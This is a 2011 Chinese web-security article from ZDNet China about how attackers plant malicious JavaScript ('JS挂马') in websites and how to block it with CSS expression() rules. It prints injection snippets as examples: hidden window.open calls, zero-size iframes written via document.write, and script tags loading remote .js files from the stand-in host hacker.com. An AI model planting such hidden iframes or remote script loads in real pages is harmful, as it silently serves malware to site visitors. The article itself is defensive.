科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道应用安全  防止网站被JS挂马

  防止网站被JS挂马

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

  现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

来源:zdnet整理 2011年6月6日

关键字: 挂马 Web安全

  • 评论
  • 分享微博
  • 分享邮件

  现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

  这种方法使用的关键代码如下:

  window.open("http://www.hacker.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。

  另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入:

  <script src="http://www.hacker.com/木马脚本.js"></script>

  或者document.write("<div style='display:none'>")document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")document.write("</div>")就成功地将木马挂到了对方的网页中了。

  小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:

  <div style="behaviour: url(http://www.hacker.com/木马脚本.js);">

  或者:

  <iframe src="vbscript:[挂马脚本]">

  等等……防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:

  iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}

  script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

  不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。

  所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。

  让JS木马的进程迅速中止在 <head> </head> 之间加入如下代码:

  屏蔽script和iframe<style type="text/css" id="LinrStudio">

  /*<![CDATA[*/iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}

  script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}

  /*]]>*/</style>

  单屏蔽script<style type="text/css" id="LinrStudio">

  /*<![CDATA[*//*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}

  /*]]>*/</style>

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章